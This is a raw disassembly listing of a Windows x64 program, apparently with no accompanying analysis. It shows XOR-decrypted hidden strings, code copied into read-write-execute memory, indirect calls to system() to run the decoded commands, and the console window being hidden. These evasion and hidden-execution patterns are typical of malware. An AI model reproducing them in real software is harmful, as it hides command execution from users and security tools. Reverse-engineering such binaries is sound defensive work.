call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400de47b
mov r8, r14
jmp 0x1400de514
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400de48e
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140171b30]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x171b40], rdx
mov qword [rcx + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0x110]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
movaps xmm0, xmmword [0x140152ef0]
movaps xmmword [rbp + 0x1af0], xmm0
movaps xmm1, xmmword [0x140152f00]
movaps xmmword [rbp + 0x1b00], xmm1
movaps xmm0, xmmword [0x140152f10]
movaps xmmword [rbp + 0x1b10], xmm0
movaps xmm1, xmmword [0x140152f20]
movaps xmmword [rbp + 0x1b20], xmm1
movaps xmm0, xmmword [0x140152f30]
movaps xmmword [rbp + 0x1b30], xmm0
movsd xmm0, qword [0x140152f40]
movsd qword [rbp + 0x1b40], xmm0
mov al, byte [0x140152f48]
mov byte [rbp + 0x1b48], al
mov r8d, r14d
lea r9, [rbp + 0x1af0]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x59
jl 0x1400de5d8
lea rax, [rbp + 0x1af0]
mov qword [rbp + 0x118], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x8c0], xmm0
mov qword [rbp + 0x8c8], r11
mov qword [rbp + 0x8d0], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x8c0], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140171b40]
test rax, rax
je 0x1400de688
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400de677
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400de65e
jmp 0x1400de688
mov r8, qword [rdx + r8*8 + 0x171e60]
test r8, r8
jne 0x1400de777
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400de6af
mov r8, r14
jmp 0x1400de748
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400de6c2
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140171b30]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x171b40], rdx
mov qword [rcx + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0x118]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
movaps xmm0, xmmword [0x140152f50]
movaps xmmword [rbp + 0x19d0], xmm0
movaps xmm1, xmmword [0x140152f60]
movaps xmmword [rbp + 0x19e0], xmm1
movaps xmm0, xmmword [0x140152f70]
movaps xmmword [rbp + 0x19f0], xmm0
movaps xmm1, xmmword [0x140152f80]
movaps xmmword [rbp + 0x1a00], xmm1
movaps xmm0, xmmword [0x140152f90]
movaps xmmword [rbp + 0x1a10], xmm0
mov eax, dword [0x140152fa0]
mov dword [rbp + 0x1a20], eax
movzx eax, word [0x140152fa4]
mov word [rbp + 0x1a24], ax
mov r8d, r14d
lea r9, [rbp + 0x19d0]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x56
jl 0x1400de80a
xor edx, edx
mov rcx, r13
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2208], xmm0
mov qword [rbp + 0x2218], rax
mov eax, dword [0x140152b40]
mov dword [rsp + 0x70], eax
movzx eax, word [0x140152b44]
mov word [rsp + 0x74], ax
mov al, byte [0x140152b46]
mov byte [rsp + 0x76], al
mov r8d, r14d
lea r9, [rsp + 0x70]
mov ebx, 0x29e4129f
mov eax, ebx
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 7
jl 0x1400e1ece
xorps xmm0, xmm0
movups xmmword [rbp + 0xe00], xmm0
mov qword [rbp + 0xe10], r14
mov qword [rbp + 0xe18], r14
lea rax, [rsp + 0x70]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r14b
jne 0x1400e1f1c
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0xe00]
call fcn.140001438
lea r8, [rbp + 0xe00]
lea rdx, [rbp + 0x2208]
lea rcx, [rbp + 0x2a30]
call fcn.1400f3e90
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x22c0]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140152b48]
movups xmmword [rbp + 0x12e8], xmm0
movups xmm1, xmmword [0x140152b58]
movups xmmword [rbp + 0x12f8], xmm1
movsd xmm0, qword [0x140152b68]
movsd qword [rbp + 0x1308], xmm0
mov al, byte [0x140152b70]
mov byte [rbp + 0x1310], al
mov r8d, r14d
lea r9, [rbp + 0x12e8]
mov eax, ebx
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x29
jl 0x1400e1fa7
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rdx, [rbp + 0x12e8]
lea rcx, [rbp + 0x22c0]
call fcn.14000207c
nop
mov r8, qword [rbp + 0x2210]
mov rdx, qword [rbp + 0x2208]
sub r8, rdx
lea rcx, [rbp + 0x22c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x22c8]
call fcn.1400d7a48
test rax, rax
jne 0x1400e204b
mov rax, qword [rbp + 0x22c0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x22c0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movaps xmm0, xmmword [str.DLXHO]
movaps xmmword [rbp + 0x1b50], xmm0
movaps xmm1, xmmword [0x140152b90]
movaps xmmword [rbp + 0x1b60], xmm1
movaps xmm0, xmmword [0x140152ba0]
movaps xmmword [rbp + 0x1b70], xmm0
movaps xmm1, xmmword [0x140152bb0]
movaps xmmword [rbp + 0x1b80], xmm1
movaps xmm0, xmmword [0x140152bc0]
movaps xmmword [rbp + 0x1b90], xmm0
movsd xmm0, qword [0x140152bd0]
movsd qword [rbp + 0x1ba0], xmm0
movzx eax, word [0x140152bd8]
mov word [rbp + 0x1ba8], ax
mov r8d, r14d
lea r9, [rbp + 0x1b50]
mov eax, ebx
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x5a
jl 0x1400e20b9
lea rax, [rbp + 0x1b50]
mov qword [rbp + 0x1f8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xb60], xmm0
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp + 0xb68], rcx
lea rax, [rbp + 0x2ce8]
mov qword [rbp + 0xb70], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp + 0xb60], rbx
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x140171b40]
test rax, rax
je 0x1400e2177
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400e2166
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400e214d
jmp 0x1400e2177
mov r8, qword [rdx + r8*8 + 0x171e60]
test r8, r8
jne 0x1400e2266
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400e219e
mov r8, r14
jmp 0x1400e2237
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400e21b1
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140171b30]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x171b40], rdx
mov qword [rcx + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0x1f8]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
movups xmm0, xmmword [0x140152be0]
movups xmmword [rbp + 0x1788], xmm0
movups xmm1, xmmword [str.___b_]
movups xmmword [rbp + 0x1798], xmm1
movups xmm0, xmmword [0x140152c00]
movups xmmword [rbp + 0x17a8], xmm0
movzx eax, word [0x140152c10]
mov word [rbp + 0x17b8], ax
mov r8d, r14d
lea r9, [rbp + 0x1788]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x32
jl 0x1400e22d1
lea rax, [rbp + 0x1788]
mov qword [rbp + 0x200], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xb78], xmm0
mov qword [rbp + 0xb80], r11
mov qword [rbp + 0xb88], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0xb78], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140171b40]
test rax, rax
je 0x1400e2381
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400e2370
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400e2357
jmp 0x1400e2381
mov r8, qword [rdx + r8*8 + 0x171e60]
test r8, r8
jne 0x1400e2470
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400e23a8
mov r8, r14
jmp 0x1400e2441
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400e23bb
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140171b30]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x171b40], rdx
mov qword [rcx + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0x200]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
mov eax, dword [str.TTJ:E_]
mov dword [rbp - 0x48], eax
cmp byte [0x140152c17], r14b
je 0x1400e24e2
mov r8d, r14d
lea r9, [rbp - 0x48]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 4
jl 0x1400e24b2
lea rax, [rbp - 0x48]
mov qword [rbp + 0x208], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xb90], xmm0
mov qword [rbp + 0xb98], r11
mov qword [rbp + 0xba0], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0xb90], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140171b40]
test rax, rax
je 0x1400e255f
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400e254e
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400e2535
jmp 0x1400e255f
mov r8, qword [rdx + r8*8 + 0x171e60]
test r8, r8
jne 0x1400e264e
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400e2586
mov r8, r14
jmp 0x1400e261f
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400e2599
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140171b30]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x171b40], rdx
mov qword [rcx + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0x208]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
lea rax, [rbp + 0x2ce8]
mov qword [rax], rbx
mov edx, 5
mov rcx, r13
call qword [sym.imp.USER32.dll_ShowWindow]
nop
lea rcx, [rbp + 0x22c0]
call fcn.140003720
nop
lea rcx, [rbp + 0x2208]
jmp 0x1400e5cb5
xor edx, edx
mov rcx, r13
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x21d8], xmm0
mov qword [rbp + 0x21e8], rax
mov eax, dword [0x140152a88]
mov dword [rsp + 0x78], eax
movzx eax, word [0x140152a8c]
mov word [rsp + 0x7c], ax
mov al, byte [0x140152a8e]
mov byte [rsp + 0x7e], al
mov r8d, r14d
lea r9, [rsp + 0x78]
mov ebx, 1
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 7
jl 0x1400e26ea
xorps xmm0, xmm0
movups xmmword [rbp + 0xe20], xmm0
mov qword [rbp + 0xe30], r14
mov qword [rbp + 0xe38], r14
lea rax, [rsp + 0x78]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r14b
jne 0x1400e273b
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0xe20]
call fcn.140001438
lea r8, [rbp + 0xe20]
lea rdx, [rbp + 0x21d8]
lea rcx, [rbp + 0x2a30]
call fcn.1400f3e90
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x23d0]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140152a90]
movups xmmword [rbp + 0x1158], xmm0
movups xmm1, xmmword [0x140152aa0]
movups xmmword [rbp + 0x1168], xmm1
movsd xmm0, qword [0x140152ab0]
movsd qword [rbp + 0x1178], xmm0
mov eax, dword [0x140152ab8]
mov dword [rbp + 0x1180], eax
mov al, byte [0x140152abc]
mov byte [rbp + 0x1184], al
mov r8d, r14d
lea r9, [rbp + 0x1158]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 0x2d
jl 0x1400e27d2
mov dword [rsp + 0x20], ebx
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rdx, [rbp + 0x1158]
lea rcx, [rbp + 0x23d0]
call fcn.14000207c
nop
mov r8, qword [rbp + 0x21e0]
mov rdx, qword [rbp + 0x21d8]
sub r8, rdx
lea rcx, [rbp + 0x23d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x23d8]
call fcn.1400d7a48
test rax, rax
jne 0x1400e2875
mov rax, qword [rbp + 0x23d0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x23d0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movaps xmm0, xmmword [0x140152ae0]
movaps xmmword [rbp + 0x1bb0], xmm0
movaps xmm1, xmmword [0x140152af0]
movaps xmmword [rbp + 0x1bc0], xmm1
movaps xmm0, xmmword [0x140152b00]
movaps xmmword [rbp + 0x1bd0], xmm0
movaps xmm1, xmmword [0x140152b10]
movaps xmmword [rbp + 0x1be0], xmm1
movaps xmm0, xmmword [0x140152b20]
movaps xmmword [rbp + 0x1bf0], xmm0
movsd xmm0, qword [0x140152b30]
movsd qword [rbp + 0x1c00], xmm0
movzx eax, word [0x140152b38]
mov word [rbp + 0x1c08], ax
mov r8d, r14d
lea r9, [rbp + 0x1bb0]
mov r10d, 0x29e4129f
mov eax, r10d
mul r8d
mov ecx, r8d
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 5
mov eax, ebx
sub ax, cx
movzx eax, ax
imul ecx, eax, 0x37
add cx, r8w
xor word [r9], cx
add r8d, ebx
lea r9, [r9 + 2]
cmp r8d, 0x2d
jl 0x1400e28e9
lea rax, [rbp + 0x1bb0]
mov qword [rbp + 0x210], rax
movups xmm0, xmmword [0x140152ac0]
movups xmmword [rbp + 0x3b0], xmm0
movzx eax, word [0x140152ad0]
mov word [rbp + 0x3c0], ax
mov r8d, r14d
lea r9, [rbp + 0x3b0]
mov eax, r10d
mul r8d
mov ecx, r8d
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 5
mov eax, ebx
sub ax, cx
movzx eax, ax
imul ecx, eax, 0x37
add cx, r8w
xor word [r9], cx
add r8d, ebx
lea r9, [r9 + 2]
cmp r8d, 9
jl 0x1400e294f
lea rax, [rbp + 0x3b0]
mov qword [rbp + 0x218], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xba8], xmm0
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp + 0xbb0], rcx
lea rax, [rbp + 0x2ce8]
mov qword [rbp + 0xbb8], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp + 0xba8], rbx
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x140173ad0]
test rax, rax
je 0x1400e2a12
mov r9, r14
lea rdx, [0x140000000]
lea r8, [0x1400012d4]
cmp rax, r8
je 0x1400e2a01
inc ecx
mov r9d, ecx
mov rax, qword [rdx + rcx*8 + 0x173ad0]
test rax, rax
jne 0x1400e29e8
jmp 0x1400e2a12
mov r9, qword [rdx + r9*8 + 0x173df0]
test r9, r9
jne 0x1400e2b01
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x1400e2a39
mov r9, r14
jmp 0x1400e2ad2
lea rax, [0x1400012d4]
mov rcx, r9
mov rdx, r15
mov r8d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x1400e2a4c
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140173ac0]
lea rcx, [0x140000000]
lea rdx, [0x1400012d4]
mov qword [rcx + rax*8 + 0x173ad0], rdx
mov qword [rcx + rax*8 + 0x173df0], r9
inc rax
mov qword [0x140173ac0], rax
lea r8, [rbp + 0x210]
lea rdx, [rbp + 0x218]
lea rcx, [0x140003b64]
call r9
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
mov eax, dword [str.TTJ:]
mov dword [rbp - 0x44], eax
cmp byte [0x140152b3f], r14b
je 0x1400e2b7a
mov r8d, r14d
lea r9, [rbp - 0x44]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 4
jl 0x1400e2b4a
lea rax, [rbp - 0x44]
mov qword [rbp + 0x220], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x3c8], xmm0
mov qword [rbp + 0x3d0], r11
mov qword [rbp + 0x3d8], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x3c8], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140171b40]
test rax, rax
je 0x1400e2bf7
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400e2be6
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x171b40]
test rax, rax
